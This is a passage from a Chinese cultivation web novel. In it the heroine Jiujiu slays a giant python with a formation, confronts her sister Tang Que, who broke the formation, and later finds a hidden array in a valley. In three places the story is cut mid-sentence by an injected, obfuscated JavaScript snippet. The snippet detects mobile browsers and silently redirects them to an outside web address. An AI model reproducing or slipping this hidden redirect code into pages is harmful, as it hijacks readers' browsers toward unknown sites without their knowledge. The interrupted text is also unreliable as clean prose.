这样一出乌龙,倒显得她心胸狭隘小人之心似的。 那边的少年已经离开阵圈,站在枯木边,棠鹊窘迫不已,顿了好久,也攥着袖口慢慢过去。 啾啾把一切布置好,又捏破一枚疣果子,把散发出臭味的枝叶涂了一些在腕口衣襟处,最后坐到阵法正中,屏息凝神,一言不发地盯着洞口。 其余人也蓄势待发。 时间悄无声息地走,天空从微明的亮红色,逐渐变成发紫的绛红。 棠鹊有些站不住了。抬眼看看那阵法最中间的少女,丝毫不在意自己形象,蛰伏的模样甚至与凡人都有些相似。不会发光,不会仙气飘飘,不会特意去用一看就很高端的仙术。 可那少女就是很耀眼。明明—— 棠鹊模模糊糊地记起,在书院念书时,棠鸠作为曾经的一个不会诗书、不会四艺的土丫头,第一次考上榜首时,没有恭喜,没有庆祝,红榜贴出来的那一刻,棠鹊正在听朋友说笑,温素雪则一如既往在走神。 所有人讨论的都是棠鹊那一手好字、温素雪那篇好文章。就连爹娘也只备了一桌盛宴,祝贺棠鹊考了榜眼,还是被她提醒后,才意识到另一个女儿考了第一。 一切都理所当然。就算棠鸠再出色,也无人问津,毫不起眼。 所以慕以南批评棠鸠不懂感恩时,棠鹊还抱着不赞同,对他摇过头:“阿鸠以为那样就可以交到朋友,就可以讨爹娘欢心。” 慕以南冷声:“蠢货。” 棠鹊懂他意思——被众星捧月的人,就算不是榜首,也能继续发光发亮。他们是靠人性的魅力来折服旁人,而不是身外之物。 可现在不一样了。 连棠鹊也觉得棠鸠耀眼。 她把自己搞得狼狈不堪,然而温素雪也好、小虎也好,都定定看着她,只看着她。 棠鹊心里没来由地起了些让她自己都不懂的失落和慌乱。 没关系,没关系。 棠鹊不停安慰自己。 这是好事,不必太在意。 天色更暗了。 闇石蟒没有视力,全靠听与嗅。热风将疣果子散发的尸臭一点点送入矿洞,不知道过了多久,洞穴中突然传出一阵巨响:“咚——” 所有人心口都为之一颤! 天地似乎开始震动,摇摇晃晃,让人站立不稳。 棠鹊不由得抓住温素雪袖子,少年抬了抬手,默不作声将她往身后一挡。 咚。 第二声响动传来,声音在一点点靠近。 啾啾站了起来,抬起手。 阵法开始运转。两个阵法,两道华光,一白一绿交错辉映,灿如白昼。 “唔。”棠鹊发出了点讶然的感叹。 那更大一圈的白色阵法中,灵果藤枝都在慢慢枯萎,然后从它们身上、地底、半空,浮现出大量灵气。极其充裕,在这无灵的焦火山上,竟能凝出实体的幽光,水波一样涌动。 这些灵气只能归阵法主人所用。 华光之中,啾啾被过于膨胀的灵力轻轻托起,悬停在空中,衣带和长发都如雾气般朦胧飘动。 从侧后方正好能看见她微垂的眼眸,线条流畅,快到眼角时微微一挑,宛如凤凰翘尾。 咚。 第三声,快到洞口了。小虎吞了一下因紧张而分泌出的唾液,死死盯着矿坑,捏紧拳头。 咚。 第四声——近在眼前! 半空中的少女突然睁开双眼,明若星辰,一把抽出被灵气萦绕得锐利又巨大的长剑,喝了一声,猛然从空中扎下! “嘶——” 随着一声吃痛的撼天巨响,整片大地都在激烈震荡,岩块土石纷纷扬扬,轰然扬卷在天地间。 一条巨蟒蓦地从地下钻出来,大张着嘴,獠牙上带着垂涎,朝啾啾咬去! *** 战斗已经打响,污浊秽埃在空气中搅转,飞沙走石迷住双眼,根本看不清楚。 啾啾想速战速决,每一击都用尽全力,破坏力惊人,岩块碎掉的声音响之不绝。 愈发让人难以窥视到阵法中端倪。 棠鹊瞪大了眼,想要找出缠斗的身影,却无能为力。 混沌之中,只勉强看见一柄大剑时隐时现,龙蛇般游走。所到之处风卷尘生,星沉地动。 天—— 棠鹊打了个激灵,捂紧嘴。 这威压…… 这根本不是筑基前期的妖兽,这是筑基大圆满,即将脱胎结丹的巨兽! 他们三个就算加起来,也不是它的对手! 不知道阿鸠那里面情况如何了? 温素雪也睁大了眼,一贯的冷静自若被打破,攥紧的手竟微微有些发抖。那并非畏惧,而是——棠鹊古怪地冒出一个不实际的想法。那是在紧张棠鸠。 他怔怔往前走了几步,手搭上剑柄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15067492|163075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 正在这时,又是一声尖叫! “啊!” 砰的一声!蛇尾朝着小虎狠狠甩来,尾刺尖如长枪,气势凶猛,直直扫向小虎的半腰。 这要是碰上,只怕会当场被拦腰斩断! 九岁的男孩哪儿见过这种阵仗,腿一软就跌坐在地上,闭上眼睛,不住发抖。 “不要乱动”。 他想起之前啾啾的叮嘱,怕得要死也咬牙死死呆在原地。 尾刺疾疾掠来,眼看着就要触到小虎。 “咔擦”一声,它却突然应声折断! 前面有如光壁的屏障裂开了一条细缝,泛出幽幽的白光,不知道是不是这个挡下了巨蟒的一击。 不消片刻,光壁恢复如初,巨蟒则扬首发出痛苦的嘶鸣。蛇身猛地一转,血洞似的大口张着,朝小虎的方向冲来。 血色红瞳有如黄泉路上的冥灯。 森然可怖。 小虎整个人都僵住了,脚心的冰寒丝丝缕缕往上缠绕——不要怕不要怕!啾啾姐姐说了,不会有事,她保证没有任何东西能伤到—— “小虎!” 蓦地一声呼喊由远及近,猛地冲到面前,将他狠狠一推! 咔擦咔擦。 小虎被压在地上,错愕地收缩起瞳孔,大脑一片空白,耳朵里嗡嗡地响。 咔擦。 …… 小虎睁大眼睛,亲眼看见,刚刚还能自动修复的透明屏障,随着他的离岗,一点点碎了个稀烂。 大蛇瞬间破壁而出,到他们面前,尖啸着张大了嘴。 隔得太近,腥臭的热气里,他甚至能看见那血盆大口的黏膜。 心脏好像停止了跳动。 他眼睁睁看着长长的獠牙离他越来越近、越来越近,在焦火山的天色下泛出红色的光,直直朝着他的脖子穿刺而来。 千钧一发之际,一柄长剑刺来,“铛”的一声,挡住巨蟒的长牙! 棠鹊身子一颤,将小虎护得更紧。 不远处的白衣少年上前帮他们挡下了这一击。 他显然不是巨蟒对手,举剑的手臂因疯狂的力道而微微抖动,脸色也白如雪。 “快躲开。”他沉声道。 “温素雪!”棠鹊死里逃生,终于找回心神,惊呼一声。 “躲开!”温素雪脖子上青筋浮现,单薄的身子摇摇欲坠,还在咬牙苦撑,“快走。” 捕捉不到近在眼前的猎物,巨蟒愤怒的高高抬起身体,之前阵法收聚来的庞大灵气没了主人,纷纷往它身上靠拢,细鳞下金光时隐时现。 ——这莫不是,在战斗的时候,要突破金丹期了? 巨大的恐惧笼罩上这方天地。巨蟒身体在秃岩石地上拍打挣扎,尖刺折断的蛇尾狂乱扫荡。 在这阵密集如雨的胡乱攻击下,一道白色身影被撞飞出来,急速下坠。 “阿鸠!”棠鹊瞪大双眼。 长剑上的光已经随着阵法被破而消逝,少女仿佛断了线的风筝,身子砸落在枯树边。 棠鹊不住发抖。 少女倒在那里,一动不动。 “阿鸠……” 顾上了棠鹊这头,没能顾上啾啾那头。温素雪脸色白得发青,瞬间收了剑往那边跑,脚步是连他自己都察觉不到的踉跄慌乱。 幸好,死寂的好几息过去,地上的少女动了动,慢慢的,一点一点的,支撑着身体,爬了起来。 “啾啾姐姐!”小虎声音里有了哭腔。 片刻后,他突然狠狠踢了一脚,不知道哪儿来的狠劲,一把掀开还压在他身上,比他年长许多、也比他重不少的棠鹊。 “唔!”棠鹊没料到会被这么粗暴的对待,吃痛闷哼一声。 男孩已经挣扎着回到阵眼中,拾起掉落的砍骨刀,眼神一凛,刀尖对向棠鹊。 “离我远点!” 棠鹊回过神,愣住:“小虎?” “啾啾姐姐说过不许乱动,否则阵法会坏掉。连我都能听懂,你一个仙子,会听不懂?你明知阵法会坏,还装出一脸仁慈善良推我出阵。你不是蠢,便是坏!” 天际一道滚雷落下,棠鹊如遭雷击,僵在当场:“我只是……想保护你……” 那是电光火石间来不及多思考的本能,去拯救男孩幼小的生命。 小虎却不领情。 “保护我?为什么?” “啾啾姐姐说了,她的阵法能保我不受伤害,我相信她。而你口口声声说是她姐姐,你却不愿相信她?!” 小虎脸上已经没有了之前对她的憧憬与喜爱,稚嫩的脸庞上,只有决绝。 “我知道你是仙人,我打不赢你。但你再敢过来,再敢伤害啾啾姐姐——” 他狠声。 “我就和你拼个鱼死网破!” 15. 第 15 章 “……对不起。” 许久后,少女僵硬地低下头,脸色苍白,唇瓣嗫嚅。 棠鹊连自己怎么回到枯树边的都忘记了。 她还是不敢相信,她一心想要帮忙,想要救下的孩子,将那把锈迹斑斑的砍骨刀对向了她,如临大敌。 她恍恍惚惚的,听见交锋声再次响起,才打了个激灵,回过神来。 阵法重新结成,战斗还在继续。灵气转了个方向,从巨蟒身边散开,正在贪婪吸收灵力凝结金丹的巨蟒痛苦地翻滚不停,啾啾则操着她那把再次变大的长剑重击横斩。 想到小虎那声“你不是蠢,便是坏”,棠鹊的眼眶就一点点红起来。 那一声格外高昂锐利,阿鸠肯定听见了,温素雪应该也听见了,因为他那一刻看过来的目光,让她如芒在背。 棠鹊面红耳赤,恍恍惚惚的,努力想要挺起胸膛打直脊背,就像平日里的她,磊落大方,绷也要绷出满不在乎刀枪不入。可这一次却尤为艰难。 她低着头,眼眶又热又胀,鼻尖一阵阵发酸。 过了不知道多久,一只微凉的手迟疑着落在她后脑勺,顿了一会儿,揉了揉她脑袋。 就好像努力憋住眼泪装无事发生的人,突然被问“你还好吗”,眼泪瞬间滚烫地落下脸颊。 抬起头,少年鸦羽般的睫毛下,眼睛幽深潋滟。 她拉住温素雪衣角,深深吸气,试图扼制住哭腔,小声:“我真的没有想伤害阿鸠,我只是想救下小虎。” “……我知道。”温素雪放下手,“你没有坏心。” 小温温…… 刹那间回到了许多年前,皑皑白雪,羞涩迁就的少年,灵动飘逸的少女。多年未见的令人怀念的温柔,比世界上所有宽慰都要动人。都要让人想哭泣发泄。 棠鹊悄无声息地闷头哭了一阵,直到温素雪轻轻挣开她的手,她才意识到什么似的,猛然惊醒,兜头一瓢冷水浇下。 “是我不对。” 她怔怔说着,松开温素雪洁白的袖子,与他保持开一段距离——她不该那么草率推开小虎,也不该……刚才一时难过去拉他的手。 温素雪是阿鸠的。阿鸠喜欢,她应该离他远一点才对。棠鹊浑浑噩噩地想。 “……” 少女闭了闭眼,再次睁开时,刚刚还因失神而柔软无备的表情,立刻又变得坚强抗拒,与温素雪之间划开一条不近不远的界线,眼神中笼罩上一层推拒与复杂:“是我的错。我会和阿鸠道歉。” “嗯。”温素雪淡淡的。 默了好半天,棠鹊又低低道:“……还有,谢谢你,温……素雪。” “不必。” 啾啾的战斗已经进入了尾声。 小虎在的阵眼是“生”,生机勃勃,万物生长的生。他的作用是加快一切恢复速度。包括屏障、灵力、和伤口。阵法集结灵气,灵气滋养伤口,只要回到她的天地规则以内,她就能如鱼得水。而闇石蟒则越来越衰败。 金光在它身上转了几圈,灰暗下去。看来金丹期难破了。它惊怒、哀嚎、翻滚,全然无用,身体上全是啾啾割破的伤口。 节节败退之下,巨蟒愈发愤怒。蛇尾突然一扫,破空风声猎猎,直直朝着啾啾拍去! ——故技重施。 啾啾压下眉头。之前那一下,她之所以会中招,是因为阵法被破。现在若还以为她会吃这一招,便是自寻死路! 岩块被蛇尾挑起,层层叠叠,噼噼啪啪。 蛇尾带来蛮狠的力道,在碰到啾啾的一瞬间,她突然借力凌空跃起! 少女柔软的白色身影被高高抛上半空。 巨蟒嘶鸣一声,也许是以为自己奸计得逞,身子一转,便朝她即将坠落的位置风驰游去,长牙上垂涎纠缠。 然而,少女并未坠下。只是在空中到达临界点,然后突然睁开眼,喝响:“砍掉你的头!” 一道分外刺眼明亮的光,带着所向披靡的气势,直直斩下! “咚——!” 白光从上而下,脉分线悬,仿佛在切豆腐,势如破竹。巨蟒张着嘴在虚张声势,下一刻,冥灯似的双眼突然失去了光泽,眼睛还没闭上,巨大的脑袋便砸落在了地上。 毙命。 切口处砰地一声巨响,猛然爆裂,血沫被炸得横飞四溅,宛如雨下。 啾啾理也不理,径直走向小虎。 真Alpha从不回头看爆炸。 “啾啾姐姐!”小虎仿佛初见时那般挂着眼泪,滑稽地冒了个鼻涕泡泡,跌跌撞撞,小旋风一般冲过来,抱住她,哭腔浓厚。 “啾啾姐姐!” “嗯。”啾啾还是淡淡的,犹豫了一会儿才抬手拍拍他,“你做得很好。” “啾啾姐姐也超棒!还超美!” “……”谢谢夸奖啊。 啾啾抬起头,看向不远处的棠鹊,对方脸色还有些白,对上啾啾的视线后,目光闪烁了几下,终究还是挺直腰脊,对她低下头。 少女明明柔软,却紧绷出坚强。明明骄傲,却勇于低头承认错误。 “对不起,阿鸠。刚刚是我不好。” 也许是难得温柔包容的温素雪给了她勇气,她低眉垂目,脸上有着释然和无所谓——她已经从被小虎误会的悲伤震惊中走出来了,这世界经常伤害她,她无所谓。无所谓别人怎么想,她问心无愧。 啾啾不知道她在释然什么,也不想虚与委蛇,只是问:“找我什么事?” 棠鹊张了张嘴。 啾啾眼睛一如既往的没有情绪,没说接不接受她的道歉。倒是一旁拽着啾啾衣角的小虎横眉冷对,警惕地瞪向她。 “……” 棠鹊呼吸免不了一滞,脊梁骨上纠缠起沁凉的寒意。过了一会儿,才垂着脑袋低声说:“就是过来看看你。” “那看完了吗?”啾啾问。 “看完了吗?”小虎也跟着问。 “看完了便请回吧。” “请回吧——!”小虎拖长声音。 棠鹊抿紧了唇,清丽的脸庞上是与狂风暴雨搏斗的固执坚韧。 她沉默了一阵,蓦地抬起头,目光直勾勾看向啾啾:“我还有话想和你说。” “说罢。” 啾啾没有太上心。 棠鹊盯着她,攥紧了手,也不知道从哪儿涌出来的冲动,一股脑地倒出来。 “阿鸠,我知道你不喜欢我,我也知道,我对不起你。所以这些年来,我一直努力补偿你,我自认我对你是毫无保留无愧于心的。可你依然不喜欢我——这我也理解,我可以假装察觉不到,毕竟我欠你太多。” 少女倏然抬眼,目光冷硬严肃:“你不想理我,想欺负我,甚至想伤害我,都随便你。但是,你不能伤害我的朋友,他们是无辜的!我想知道,距离小青鸾的死已经一个月了,你,可有后悔过?” 棠鹊的话说得急促,还加重了死这个字眼。 小虎一时怔忪。 什么意思?死人了?啾啾姐姐造成的? 男孩脑袋转来转去,看看啾啾,又看看棠鹊。 棠鹊便定定盯着啾啾的脸,约莫是想从中看出几分对死的敬畏,对滥杀无辜的惭愧,却没想到,只看到啾啾微不可察地提了提嘴角,嘲笑一闪而过。 “说完了?” 棠鹊一愣。 啾啾平静:“我说过了,你的青鸾,先攻击的我。” “怎么可能?”棠鹊愤怒了,不能这样污蔑死人,“小青鸾明明……” “我很好奇。”啾啾突然打断她的话,转脸看向温素雪,微微歪头,“你未曾看见我与青鸾之间的争执,却赞同师尊罚我。刚才,你应该亲眼看见棠鹊差点害死我,你是否又会赞同师尊罚她?” 棠鹊一愣。 温素雪也一愣。 事实上,他对棠家的事情并不了解。那年上元节后,棠鹊疏远了他,自不会与他说这些。啾啾也从来不提她与棠鹊的过往。直到刚才,他才从棠鹊的“亏欠论”中窥到一丝很严重的端倪。 似乎是啾啾受了什么委屈。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15067493|163075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温素雪还在出神。 蓦地被点名,他收回思绪,正好撞见啾啾平静眼底的一丝讽刺。一瞬间,有什么绵密地扎进胸膛,让他心脏再次又细又尖地疼起来。 少年桃色唇瓣微启:“她是……” “她是好心办坏事,对吗?即便你听见了我对她说不要乱动,也亲眼看见了她明知故犯,你依旧认为她无辜,是吗?” 啾啾这个人很像没有生命的木偶,眼神是死的,语气也毫无起伏的,甚至很多时候,周围人都情绪激动时,她也只会机械地表示“我再想想办法”“我会努力解决”。 让人感知不到她的情绪。 现在她也这样说话,每一个字都吐得不疾不徐不高不低,可温素雪却觉得,每一个字都蕴着对他——对他们的嗤之以鼻。 少年已经如止水一般的情绪,这时候泛起不可控制的无措,细密疼痛的心在微微颤动,仿佛对方的视线是利刃,他不得不别开眼,敛起眉,沉默不语。 啾啾继续着对他的折磨:“人心隔肚皮,你并不知道棠鹊想法究竟如何,可你不会同意罚她。而我——你并未看见我与青鸾的经过缘由,却在同样不知情的情况下,同意罚我。温素雪,温师兄,这就是你自诩的公平无私?” 温素雪猛地一震,脑袋里有一根线,在啾啾轻飘飘的声音里扯紧,扯得他难受。仿佛数年前那场大病,揪住他肺腑,气都喘不过来。 他惊慌中根本反驳不了。 是的。 啾啾一个字都没说错。 他早就决定好要一直陪着她,肩负起责任,直到她不再需要他为止。他以为他是护着她的,却没想到,他才是那把刀。钝钝的,却一直磨着她皮肉骨血。 “我不需要你了。” 他想起啾啾对他说的话。 他以为她无非是倦了厌了烦了。他以为青鸾一事是导火索,却没想到是压死骆驼的最后一根稻草。 他的一板一眼循规蹈矩,在巨大的不公下,都显得那么可笑。 温素雪退了半步,脸色青白,慌乱无措。 棠鹊却惊呆了,随之而来的,是面红耳赤。她承认,刚才小虎不加掩饰的憎恶和阿鸠不留情面的拒绝,让她心里烧了把火,激起了她的一点胜负欲,所以她那样急促肃穆地在这里提及小青鸾的死。 她也不是没有感情,她毕竟是个人,是个有喜怒哀乐的人,她也会有……想任性一次的时候。 不过她很快就后悔了,对妹妹更加愧疚。 可万万没想到,阿鸠会说出这样的话。焦火山的傍晚乌红,那把火一瞬间从心脏烧到了四肢百骸,烧到了脸皮与耳朵,也烧红了眼眶。 棠鹊不可置信:“阿鸠,你当真相信我会伤害你?” 啾啾反问:“那你当真相信我会伤害你的青鸾?” 棠鹊愕然不语。 啾啾问:“你相信过我吗?” “不信——” 棠鹊一怔。 说话的人不是她,是小虎。男孩对他们刚才的话题一头雾水,但说起这个,他还是懂的,指着棠鹊怒气冲冲。 “啾啾姐姐,这个人就是不信你才破你阵法。她若是信你还破你阵法,便是想害你!”小虎拉拉啾啾衣角,“无论如何,她都没有把你当朋友。啾啾姐姐,离她远点。” “……” 啾啾将小虎挡在身后,就像温素雪挡住棠鹊那样,片刻后,抬起头,“你不相信我,为何要来要求我相信你?” 句句钻心。 棠鹊终于抵挡不住,哽咽着别过脸:“随你信不信。我只知道,我问心无愧。” 好一句问心无愧。 啾啾默了一会儿:“你哭什么?” 棠鹊固执不语地擦眼睛。 啾啾看看温素雪,又看看她:“你没被惩罚。温师兄愿意相信你包庇你。便真是他同师尊说了此事,师尊也会相信你包庇你。大家都偏袒你,你有什么好哭的?” “该哭的,不应该是辩解了无数次,还被钉在耻辱柱上鞭刑二十次的我吗?” 16. 第 16 章 棠鹊的身影消失在天际,失魂落魄,悲愤桀骜。 她是哭着离开的,头也不回。 温素雪垂首看了啾啾半日,怔忪寂寥,最后啾啾回望他。少年微不可察颤了颤,往后退了一步,常年没温度的眼神中仿佛染了层刺痛的霜花,他也踩在法器上飞速离去。 温素雪很茫然。 啾啾没哭没闹。十一二岁时,她稍稍比他高一点,但是后来,他和棠鹊都如同新竹节节拔高,啾啾却长得慢慢的,这么多年还是小小一只,说话时必须微微抬头注视着他们。 可自下而上不卑不亢的目光中、照常的平静下,仿佛字字泣血,比棠鹊的哽咽更让他仓皇踉跄,不敢直视。 他死寂的心一直被生拉硬拽着。他也不知道自己在逃什么。 四周恢复了空旷无声,炙风扫荡,闇石蟒的尸体散发出更浓厚的臭味。 啾啾去拔了些鳞片,一转身,被小虎拉住袖子。 男孩凑上来,怕她嫌脏,小心翼翼地抓住她袖口,挺起胸膛,结结巴巴:“啾啾姐姐,你哭吧。如果你想哭又不想被别人知道的话,可以对我哭……放、放心,我相信啾啾姐姐,啾啾姐姐也可以相信我,我、我会保密的。” 啾啾摇头:“我不想哭。” 她不喜欢笑,也不喜欢哭。温素雪他们什么能耐,还能让她哭? 她把鳞片递给小虎:“磨成粉,加上青霜草、逍叶、筋藤一起敷在伤口上,每日敷两次,一周内你哥哥便会醒来。” 小虎愣愣地接下她的东西。突然明白了什么,猛地抬头:“你、你要走了?” 明明相处时间不长,可半日来的信任和危难,让他仿佛在面对至亲骨血的离开似的,眼眶里泛起泪花。 他非常非常不舍。 小孩子年纪虽小,可脑袋灵光。他能看出啾啾姐姐和那叫棠鹊的少女之间的差距。一个光鲜亮丽,一个朴素平凡。一个在天,一个在地。啾啾不在乎自己形象,不介意暴露自己弱点,甚至…… 小虎喃喃:“啾啾姐姐,我觉得你不像个仙人。” 和另外那两个仙气飘飘的人看起来不太一样。 “那我像什么?” 小虎想了很半天,灿然一笑:“好人。” 啾啾一愣。 夜风渐起,从背后温温一拂,天际最后的微光给她镀了层暖洋洋的色彩。 “好”这个词能代表很多,代表至高一切,在好人还单纯只是好人的时代里,小虎能想出最纯净的赞美便是此。 许久后,啾啾微微一笑。 小虎则又开始揉起眼睛。 啾啾拿下他脏兮兮的手,想了一下:“我还不忙回去。” 小虎眼睛一亮。 啾啾却仿佛突然记起了什么要紧的事,有些不可言说:“我本来是来买下酒菜的。” 估计她回去,苟七和宁溪俩孩子都得饿瘦了。 原来仙人也要喝酒吃肉!小虎猛地跳起来——他之前还不知道要怎么报答啾啾姐姐,觉得说一些“以后做牛做马回报”都是假大空的屁话,现在他有了他能做的一点点事:“不用买!我这就去告诉大伙,让大家送你!” 啾啾来不及劝阻,小虎已经一阵风似的卷走。 断人财路犹如杀人父母,恢复人财路的便是再生父母。听说妖兽被杀,矿道恢复安全,整个村子都振奋了。 众人又好奇,又对藏雀山上的修士有些畏怯,一边高兴,一边小心翼翼地保持距离。小虎则充当了纽带,挺起胸膛,添油加醋地将啾啾斩杀妖兽的事描述了一遍。 “原来是这样!” “那还真是可怕。” “这什么鹊的,居心叵测,为人不淑,小仙子要当心她。” “可不是嘛!”小虎混在七大姑八大姨之间,如鱼得水,连连点头——他过分夸张的故事里没有忘记棠鹊和温素雪的戏份。 吵吵闹闹中,村长凑近了啾啾,正色郑重询问:“不知恩人尊姓大名?” 啾啾犹豫了一下。 众人都安静下来,看过来,一双双视线里是最朴素的尊敬和期待。 “对。”小虎别别扭扭地绞着衣角,“啾啾姐姐,你……叫什么呀?” 天已经完全暗了,村落的烂泥地上斜插的火把雀跃生辉,不知山中何处钟鸣敲响,入夜的更声飘散在薄雾中。啾啾失神了一会儿,听着那钟声阵阵入耳。 “钟——钟啾啾。” 村长当即一拜:“钟仙子,你的恩情,我崔家村当没齿难忘!” …… 啾啾怀里塞满了“下酒菜”打道回府,崔家村的人当真是把家底都掏出来了,这个送香肠、那个送熏兔,平日里他们都藏着、过年了才拿出来馋一馋的东西,全都硬塞给啾啾。 啾啾抱着比她上半身还庞大许多的战利品,很没仙气地靠一双脚,踩着碎石凌乱的山路回驻守堂。 战利品实在是太多,村里人还不许她不收,不收他们便长跪不起,所以啾啾被战利品淹没,不知所措,连路也看不见,背影有些滑稽。 她自然也看不见,转身离开后,一簇簇细碎金光从真心感激她的人身上飘出,跟在她身后,最后,溶于她身体。 直到上床睡觉时,啾啾才突然一骨碌坐起来,睁大了眼,难以置信。 ——她的修为,竟然已经到了炼气大圆满阶段! *** 直到第二天,啾啾也没想明白这是怎么一回事。 炼气炼气,顾名思义,炼精化气。 这是每一个道修必须经历的过程——吸纳灵气,淬体修炼。而焦火山是无灵山,连前置的灵气条件都没有,这要怎么修炼? 可她竟然从炼气五阶跳到了炼气大圆满。 是她杀了蟒,还是做了梦。 修为的精进给身体素质带来显著的变化,她需要的睡眠时间更少,肚子更不容易饿,体力更多,头脑也更清明。到了第二天走进驻守堂,刚一进门就被宁溪叫住。 “棠鸠!” 啾啾抬起头,对上宁溪总想绷师姐架子又过分没威严的眼睛。苟七站在宁溪身边,也同样惊讶地扬起眉毛:“啾啾师妹。” “怎么了?”啾啾平静地回应。 她已经做好了准备被他们质问修为为何暴涨。毕竟大家都是不幸来这无灵山蹉跎时间的道修,别人都只能原地踏步,她却能一个人进步,这不和谐。 “你……” 苟七的犬耳动了动,说话时有些迟疑,似乎不知道当讲不当讲,所以宁溪直接打断他的话,帮忙讲——确切地说,是大声吼出来了。 “你是不是长高了啊!你怎么就长高了啊!凭什么你就长高了啊!” 你吼那么大声做什么嘛。 啾啾往后退了半步。 磨得锃亮的花岗岩柱子在焦火山的高温下散发出暖意,倒映出三个人的影子。本来苟七是三个人当中最高的,是盆地中的小山丘,可现在,啾啾竟然和他一样高了。 所以宁溪被夹在中间,视线移到她的身高线时,会明显往下一拐。她成了盆地中的小盆地。 宁溪只看了一眼柱子,就被震惊住了。 ——也不知道她在震惊什么,明明十七岁了,应该对自己的矮心里有数了。 总之她只看了一眼,就从喉咙里绝望地“咕”了一声,心态崩了似的,啪嗒啪嗒跑走了,一串脚步由近到远。 “唔。”苟七挠挠耳朵,“她可能……” 啾啾沉声:“我懂。” 说好了要一起当小矮子,队友却在偷偷长高。 焦火山的风萧索寂寥,两人看向已经空无一人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15067494|163075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长廊,都由衷地祝愿宁溪也能偷偷地长高,然后惊艳所有人。 仪式走完了,苟七扭回头,犬耳抖了抖,把本来要说的话说完:“啾啾师妹,厨房里那堆东西是你带回来的?——我在上面闻到你的味道,还有……很多陌生的味道。” “山下村子里的人送的。” “凡人送的?”苟七惊讶。 “嗯。” 啾啾把昨天发生的种种和苟七说了一遍,小个子少年听得一张脸又青又白,最后看向啾啾:“那只闇石蟒可还活着?” “死了。”啾啾眼睛没有波澜,“我把它杀了。” 苟七抿住嘴,清秀的脸庞格外严肃,他一副兄长训话的模样,语重心长:“下次遇到这种事不要孤身涉险,我们是朋友,有什么问题,我们可以一起解决。” 啾啾一愣。 朋友。 她有点不明白,苟七却很认真。 苟七是狗,最忠诚的狗。他不会像人类那样弯弯绕绕,他只是遵循内心的声音,觉得啾啾是朋友,所以就那样说了出来——毕竟在啾啾来驻守堂前的那一个月,他便已早早认识了她。 从宁溪的口中。 那宁家小千金总是愤愤然告诉他,新来的小师妹吃过许多苦,受过许多不公,他们要好好对待小师妹。宁溪就是这样,别扭却刚正,宁折不弯,哪怕摔入泥潭,也要坚守本心。 她是真正的千金大小姐。 苟七笑了笑,话锋一转:“虽然我们没帮上忙,但是——” 小少年拍了拍她脑袋,很纯粹很干净,不带任何遐思,像个哥哥。那双圆圆的眼睛里映着烛火暖光,带着柔和的安慰,轻声夸奖:“你做得很好。” 村民们送的东西很多,幸好焦火山炽热干燥,那些风干肉不会放坏,三个人吃了一个多月也没吃完。因着这一茬,明明早就进入辟谷期的宁溪、苟七二人也再次开始进食。 啾啾身上的伤痊愈后,也加入了巡山的队伍。 在这里的生活充实又虚度。充实的是有活干,虚度则是因为修为的停滞不前。自崔家村事件后,温素雪和棠鹊再也没来找过她,啾啾修为也再没长过,卡在半突破筑基期的瓶颈之间,怪难受的。 没有工作的时候,啾啾便翻翻书。而宁溪,则总往凡人村落跑。 一来对凡人好奇,二来觉得有趣,三来被上次啾啾带回来的战利品震惊了,她也想被送好吃的。 但早说过好事不能做多。做多了,就有人会想着不劳而获了,什么鸡毛蒜皮的事都找仙人帮忙。 “仙子,我祖传手镯不见了,可否帮忙看看?” “仙子,我母亲生了怪病,可否帮忙看看?” “仙子,东边的茅厕堵了,可否帮忙看看? “——噗。”恰好巡山经过的苟七没能憋住。 他有隐藏身形,凡人看不见他,宁溪却能看见,往他的方向狠狠瞪了一眼。 这样一直到年末,临近除夕时,再次有人战战兢兢找上宁溪。 “仙子,出、出怪事了,我家大黄,在赤炎谷消失了——我亲眼看见,我家大黄跑过去,然后,就在我眼皮下面,一瞬间消失了!” 宁溪严肃了起来。去瞅了一眼,回来找到啾啾。 “这个得要你帮忙。” 于是啾啾也去瞅了一眼。 那一片山谷中雾气隐隐流动,手掌没入后虚虚实实看不真切,宛如镜花水月。雾气与外面界限分明,呈五芒星型。 “是个阵法。”啾啾站起来,摇摇头,“正好明日张弛师兄要来,得请他去问问门派里的意思——这是个大阵,要花半个月才能解开。但是,一旦开始破解阵法,便会风云异变瑞光漫天,所有门派、势力都将知晓此处有秘宝现世。” 她顿了顿:“恐会惹来一场杀祸。” 17. 第 17 章 天色昏暗。 焦火山奇峰险峻,赤炎谷是山中难得平坦的地方,这里瘴气浓厚,常年不见天日。 可除夕日的赤炎谷,竟比藏雀山还要热闹。 是除夕,也是开阵的黄道吉日。 